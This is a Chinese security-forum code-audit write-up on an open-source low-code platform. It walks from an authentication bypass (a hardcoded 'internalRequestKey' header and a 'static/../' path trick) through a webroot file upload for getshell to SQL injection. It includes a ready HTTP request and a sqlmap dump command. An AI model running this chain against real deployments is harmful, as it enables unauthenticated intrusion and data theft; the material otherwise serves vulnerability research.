问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某低代码平台代码审计分析
渗透测试
某次项目中遇到的系统,发现还是开源的,于是就下下来小审一下,从权限绕过到getshell,还是比较有收获。
一、权限绕过 ====== 发现很多接口没登录就不能访问,于是直接定位到sessionfilter 第一种: ---- ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-265c7540db3ca2aab9f1289b1aaba65e3f125ce4.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-be1741cf907f0d877a66f5a80f3372d7ce1bfe21.png) 所以很简单,我们加上这个头就能绕过了 第二种: ---- ```java //请求路径 String uri = request.getRequestURI(); //校验是否放行 if (noFiltersMatcher.matches(uri)) { doFilter = false; } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-b23ba53120b0ff7d4bf4bf352ee26e402a95c9bb.png) 类似shiro的权限绕过,可以利用`static/../je/document/file`绕过 二、文件上传审计 ======== 根据关键字匹配很容易可以定位到两个接口 ```shell /je/document/file /je/disk/file 还有其他的,逻辑都差不多 ``` 就直接看`/je/document/file` 前面都是一些参数处理,可以略过,值得关注的是这里有两个参数bucket和dir是可控的 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-a1bd0fb730e3e02940198600f0543f9b83698339.png) 直接往下看到 ```java //保存文件并持久化业务数据 List fileBos = documentBusService.saveFile(fileUploadFiles, userId, metadata, bucket, dir); ``` 跟进进入到接口的实现方法 ```java public List saveFile(List fileUploadFiles, String userId, JSONObject metadata, String bucket, String dir) { Calendar now = Calendar.getInstance(); List files = new ArrayList(); Iterator var8 = fileUploadFiles.iterator(); while(true) { FileUpload fileUpload; String fileKey; while(true) { if (!var8.hasNext()) { return files; } fileUpload = (FileUpload)var8.next(); fileKey = fileUpload.getFileKey(); if (StringUtils.isNotBlank(fileKey)) { if (this.selectFileByKey(fileKey) != null) { continue; } break; } fileKey = JEUUID.uuid(); break; } this.log.warn("{} Upload file start ...", fileKey); String fileName = fileUpload.getFileName(); Long size = fileUpload.getSize(); String contentType = fileUpload.getContentType(); this.log.warn("{} File msg: name({}),size({}),type({}),bucket({}).", new Object[]{fileKey, fileName, size, contentType, bucket}); this.log.warn("{} Start read byte array ...", fileKey); long currentTimeMillis = System.currentTimeMillis(); byte[] bytes = IoUtil.readBytes(fileUpload.getFile()); this.log.warn("{} Read byte success, cost time: {}.", fileKey, System.currentTimeMillis() - currentTimeMillis); try { Bucket bucketBO = this.fileManager.findBucket(bucket); DocumentFileDO fileDO = null; DigestEnum digestEnum = null; String digestValue = null; if (this.fileAutoGenerator == null) { this.fileAutoGenerator = DefaultFileAutoGenerator.getInstance(); } if (StringUtils.isBlank(dir) && this.fileAutoGenerator.checkDigest()) { digestEnum = DigestEnum.getDefault(); digestValue = this.fileManager.messageDigest(bytes, digestEnum); this.log.warn("{} Check file digest.", fileKey); fileDO = this.fileDAO.selectFileByDigest(digestEnum, digestValue, bucketBO.getBucket()); if (fileDO != null && !this.fileManager.existFile(fileDO.getFilePath(), fileDO.getBucket())) { fileDO.setDeleted(true); this.fileDAO.update(fileDO); fileDO = null; } } if (fileDO == null) { currentTimeMillis = System.currentTimeMillis(); this.log.warn("{} Save file start ...", fileKey); FileSaveDTO fileSaveDTO = this.fileManager.saveFile(fileName, contentType, bytes, bucketBO, dir); this.log.warn("{} Save file success, cost time: {}.", fileKey, System.currentTimeMillis() - currentTimeMillis); fileDO = new DocumentFileDO(); BeanUtil.copyProperties(fileSaveDTO, fileDO); String[] splitFolder = fileSaveDTO.getFilePath().split("/"); fileDO.setFolder(fileSaveDTO.getFilePath().replaceAll(splitFolder[splitFolder.length - 1], "")); fileDO.setContentType(fileUpload.getContentType()); fileDO.setSize(fileUpload.getSize()); if (StringUtils.isBlank(dir) && this.fileAutoGenerator.checkDigest()) { fileDO.setDigestType(digestEnum.getCode()); fileDO.setDigestValue(digestValue); } fileDO.setCreateUser(userId); fileDO.setModifiedUser(userId); this.fileDAO.save(fileDO); } ... .... ...... this.log.warn("{} Upload file end ...", fileKey); } } ``` 方法很长,但基本上都是一些赋值取值的操作,其中会判断dir是否为空,如果为空就直接进入到下一个if,因为fileDO没有被操作过,所以进入到if中 再跟进到FileSaveDTO fileSaveDTO = this.fileManager.saveFile(fileName, contentType, bytes, bucketBO, dir); ```java public FileSaveDTO saveFile(String fileName, String contentType, byte[] byteArray, Bucket bucket, String dir) { ByteArrayInputStream temp = null; FileSaveDTO var24; try { if (this.fileAutoGenerator == null) { this.fileAutoGenerator = DefaultFileAutoGenerator.getInstance(); } FileOperate fileOperate = FileOperateFactory.getInstance(bucket); StringBuilder filePath = new StringBuilder(); String fullName = ""; if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) { fullName = fileName; filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName)); } else { if (StringUtils.isNotBlank(dir)) { filePath.append(dir); } else { filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket)); } fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket); filePath.append("/").append(fullName); } String[] splits = fullName.split("\\."); String name = splits[0]; String suffix = splits.length == 1 ? "" : splits[splits.length - 1]; temp = IoUtil.toStream(byteArray); UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp); FileSaveDTO fileSaveDTO = new FileSaveDTO(); if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) { name = dto.getFilePath().split("/")[1]; } fileSaveDTO.setName(name); fileSaveDTO.setSuffix(suffix); fileSaveDTO.setFullName(fullName); fileSaveDTO.setFilePath(dto.getFilePath()); fileSaveDTO.setFullUrl(dto.getFullUrl()); fileSaveDTO.setBucket(bucket.getBucket()); fileSaveDTO.setSaveType(bucket.getSaveType()); fileSaveDTO.setPermission(bucket.getPermission()); if (this.fileAutoGenerator.thumbnailGenerator()) { InputStream thumbnail = this.thumbnail(byteArray, contentType, suffix); if (thumbnail != null) { UploadFileDTO thumbnailDto = fileOperate.uploadFile(filePath.append(".thumbnail").toString(), thumbnail); fileSaveDTO.setThumbnail(thumbnailDto.getFilePath()); } } ``` 这里首先将bucket对象传入了一个文件操作的工厂类(FileOperateFactory)中去获取实例,我们跟进, ```java public static FileOperate getInstance(Bucket bucketBO) { try { if (INSTANCES.containsKey(bucketBO.getBucket()) && ((FileOperate)INSTANCES.get(bucketBO.getBucket())).isLastVersion(bucketBO.getModifiedTime())) { return (FileOperate)INSTANCES.get(bucketBO.getBucket()); } else { FileOperate fileOperate = buildFileOperate(bucketBO); if (fileOperate == null) { throw new Exception("文件工具类实例构建失败!"); } else { INSTANCES.put(bucketBO.getBucket(), fileOperate); return fileOperate; } } } catch (Exception var2) { log.info("FileOperate create fail, {}", JSON.toJSONString(bucketBO)); throw new DocumentException(var2.getMessage(), DocumentExceptionEnum.DOCUMENT_FILE_OPERATE_INIT, var2); } } private static FileOperate buildFileOperate(Bucket bucketBO) throws Exception { SaveTypeEnum saveType = SaveTypeEnum.getDefault(bucketBO.getSaveType()); if (SaveTypeEnum.aliyun == saveType) { return new FileOperateOSS(bucketBO.getAccessBucket(), bucketBO.getAccessKey(), bucketBO.getSecretKey(), bucketBO.getUrl(), bucketBO.getPermission(), bucketBO.getBasePath(), bucketBO.getModifiedTime()); } else if (SaveTypeEnum.DEFAULT == saveType) { return new FileOperateLocal(bucketBO.getBasePath(), bucketBO.getModifiedTime()); } else if (SaveTypeEnum.tencent == saveType) { return new FileOperateTencent(bucketBO.getAccessKey(), bucketBO.getSecretKey(), bucketBO.getExt1(), bucketBO.getAccessBucket(), bucketBO.getPermission(), bucketBO.getBasePath(), bucketBO.getModifiedTime(), bucketBO.getUrl()); } else if (SaveTypeEnum.mongodb == saveType) { return new FileOperateMongodb(bucketBO.getBasePath(), bucketBO.getModifiedTime()); } else { String key = "save." + bucketBO.getSaveType(); String className = props.getProperty(key); Class clazz = Class.forName(className); Constructor c = clazz.getConstructor(Bucket.class); return (FileOperate)c.newInstance(bucketBO); } } ``` 进入到buildFileOperate方法发现会判断bucket对象的saveType类型,跟到枚举类中发现有这几个 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-5215c3a22bde778db7d94a238697af4b1aa8424c.png) 但是这是怎么来的呢,这里我去翻了一下数据库,在je\_document\_bucket表中 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-436a50851aa29fbfa84b397ad8b2d37bcf9e5b7d.png) 我们可以知道,webroot和disk-oss这两个bucket都是对应defalut类型的。 实例化出来后,继续往下走 ```java StringBuilder filePath = new StringBuilder(); String fullName = ""; if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) { fullName = fileName; filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName)); } else { if (StringUtils.isNotBlank(dir)) { filePath.append(dir); } else { filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket)); } fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket); filePath.append("/").append(fullName); } String[] splits = fullName.split("\\."); String name = splits[0]; String suffix = splits.length == 1 ? "" : splits[splits.length - 1]; temp = IoUtil.toStream(byteArray); UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp); FileSaveDTO fileSaveDTO = new FileSaveDTO(); if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) { name = dto.getFilePath().split("/")[1]; } .... .... if (this.fileAutoGenerator.thumbnailGenerator()) { InputStream thumbnail = this.thumbnail(byteArray, contentType, suffix); if (thumbnail != null) { UploadFileDTO thumbnailDto = fileOperate.uploadFile(filePath.append(".thumbnail").toString(), thumbnail); ``` 这里就是根据不同情况获取文件路径和文件名,我们后面需要的时候再过来看 我们直接跟进到`UploadFileDTO dto = fileOperate.uploadFile(filePath.toString(), temp);` 这里就会发现,有四个实现类,而我们要getshell,当然是需要选择走本地上传。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-4bad4f8aaf1bb4e958b25df8e231757ca3fdb418.png) 所以我们就得控制fileOperate的类型,而这个正是之前FileOperateFactory实例化出来的对象, 跟进工厂类 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-338343f5ca2a672782b21af6493f2c3478898b5b.png) 会走到local ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-9bd0636786c4c8a8123eaac1e0f57baf20455c0f.png) 而disk-oss是default ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-d0a7c9ecf5900ce8406f4613e41f01615d709db9.png) 所以会走到local的upload file ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-2ecf74903ba6827dd8994a8dd6fcfda1d4ea3410.png) 当bucket类型为default,就会是 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-66392801a1accbab160400ce964739392e5b5e35.png) 所以就知道,我们控制bucket参数值为webroot 接着,能够上传文件了,但是还不知道路径,所以返回到之前的方法 ```java StringBuilder filePath = new StringBuilder(); String fullName = ""; if (bucket.getSaveType().equals(SaveTypeEnum.mongodb.getCode())) { fullName = fileName; filePath.append(String.format("%s/%s", bucket.getBasePath(), fileName)); } else { if (StringUtils.isNotBlank(dir)) { filePath.append(dir); } else { filePath.append(this.fileAutoGenerator.pathGenerator(fileName, contentType, byteArray, bucket)); } fullName = this.fileAutoGenerator.fileNameGenerator(fileName, contentType, byteArray, bucket); filePath.append("/").append(fullName); } ``` 这里dir可控,可以直接随便取个名字,就是一个新文件夹,也可以留空,会在document下生成一个/year/yy-mm/格式的文件夹 可以先看看在数据库中结果 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-07823f3a4633b3f43ace1f630d38cbfc5991ed6e.png) 然后最麻烦的点就是这个文件名,fileNameGenerator这个方法会用uuid再生成一个文件名,并没有沿用前面生成的fileKey,所以在最终页面回显的时候,看到的fileKey并不是文件名 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-c5aacb5832eb45d0ba33bd7cb2f7c09c2a0ee0ab.png) 三、SQL注入 ======= 后面去翻了自带的sql文件,发现在je\_document\_file表中会记录存储上传的文件,包括完整路径,正好之前审计的时候看代码也发现了有很多地方的sql语句都是直接拼接的,可以直接注入,这里我随便找了一个 ```java POST /rbac/im/accessToTeanantInfo HTTP/1.1 Host: xxxxx Accept-Language: zh-CN,zh;q=0.9 internalRequestKey: schedule_898901212 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Cookie: je-local-lang=zh_CN; JSESSIONID=155BD0DA95609068A00408ACF1326C63 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 0 tenantId=1 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-2aac57a14330cc62cf183ae7654e6f0fac608cf5.png) 利用sqlmap直接跑可以出数据 ```java sqlmap -r 2.txt --level 3 -D "jepaas" -T "je_document_file" --dump --fresh-queries ``` --fresh-queries是因为sqlmap可能有缓存,数据不刷新,导致找不到文件名。 四、要注意的几个点 ========= 一、数据库不一定就是默认的jepass,有可能会变 二、文件上传的bucket不同会影响是否能够在页面访问,比如webroot可以解析到页面上,disk-oss则不行,如下图。并且我尝试了他系统的一些文件也是如此,当然不排除是这个站的一些配置的原因。但是如果碰到这种配置的话就不能够利用disk那个上传接口,因为默认写死了就是disk-oss ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-c412fa799b2a328be9e0c3ad10803cdd710900f0.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-955245996c5473e3420ef9d4150573f28c441bd0.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-7e5bc623633e19c94cf83cd525b0a96657ac3e13.png) 所以我个人还是建议采用document这个接口,因为这个接口的bucket是可控的 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-e1d2e6452faa97b11dfcc5eedd5fd23488089e3d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-11c108725c92d898bef0da081704da79451e7b31.png) 时间都是能对上的 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-67f993d9214523ac431a6adc68e9fdeb14a7c0e8.png) 三、访问文件也需要带上那个`internalRequestKey: schedule\_898901212`header头去访问,不然过不了认证
发表于 2024-05-22 09:00:00
阅读 ( 3560 )
分类:
代码审计
5 推荐
收藏
4 条评论
清风不待我少年
2024-05-22 12:16
太酷啦
请先
登录
后评论
xiaobaibai
2024-05-22 16:06
学到了,另外 大佬的idea icon、字体配置啥的方便分享一下吗
Qiu_
回复
xiaobaibai
主题是Material Theme UI,字体是Comic Mono
请先
登录
后评论
maomao
2024-05-22 18:31
卧槽 神
请先
登录
后评论
请先
登录
后评论
Qiu_
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!